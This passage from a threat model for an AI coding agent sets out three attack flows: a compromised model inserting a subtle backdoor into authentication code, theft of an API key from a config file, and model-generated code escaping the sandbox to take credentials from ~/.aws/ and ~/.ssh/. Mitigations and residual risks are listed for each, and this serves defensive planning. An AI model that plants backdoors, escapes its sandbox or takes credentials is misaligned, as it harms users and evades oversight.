Mitigation: Limited (contractual data privacy agreements)

Acceptance Criteria: Use local models (Ollama) for highly sensitive code

---

Threat Scenarios

Scenario 1: Malicious AI Model

Trigger: Compromised AI model generates malicious code

Attack Flow:

```
1. User requests "refactor authentication code"
2. Compromised AI generates code with backdoor
3. User reviews code (may miss subtle backdoor)
4. User approves execution
5. Backdoor deployed to production
```

Mitigations: - M1 (Prompt Injection Defense) - M2 (Sandbox Isolation) - prevents backdoor from exfiltrating data - M7 (Audit Logging) - evidence for post-incident forensics

Residual Risk: R1 (AI Model Capability) - users may miss subtle backdoors

---

Scenario 2: API Key Theft

Trigger: Attacker gains access to developer workstation

Attack Flow:

```
1. Attacker compromises workstation via phishing/malware
2. Attacker reads ~/.code/config.toml or environment variables
3. Attacker steals OPENAI_API_KEY
4. Attacker uses stolen key for unauthorized AI access
```

Mitigations: - M3 (API Key Protection) - env vars, file permissions - M6 (Least Privilege) - limit blast radius

Residual Risk: None (workstation compromise is out of scope)

Scenario 3: Sandbox Escape

Trigger: AI generates code that exploits OS sandbox vulnerability

Attack Flow:

```
1. User runs codex in workspace-write mode
2. AI generates exploit code targeting OS sandbox
```

```
3. Exploit breaks out of sandbox
4. Attacker gains access to entire filesystem
5. Attacker exfiltrates credentials from ~/.aws/, ~/.ssh/
```

Mitigations: - M2 (Sandbox Isolation) - defense-in-depth - M7 (Audit Logging) - detect anomalous behavior

Residual Risk: R2 (Zero-Day Sandbox Escape)

Summary

Critical Threats: 1. Prompt Injection (High risk) 2. Sandbox Escape (High risk) 3. API Key Theft (High risk) 4. Data Exfiltration (High risk)

Implemented Mitigations: - OS-level sandboxing (read-only, workspace-write, full-access) - API key protection (env vars, file permissions) - Data minimization (ZDR mode, local models) - Audit logging (evidence repository, telemetry) - Secure defaults (read-only, approval-required)

Residual Risks: - AI model capability (inherent risk) - Zero-day sandbox escape (OS-level) - Supply chain compromise (ecosystem) - Insider threat (AI provider)

Acceptance Criteria: Users must review all AI-generated code and understand inherent risks.

Next: Sandbox System
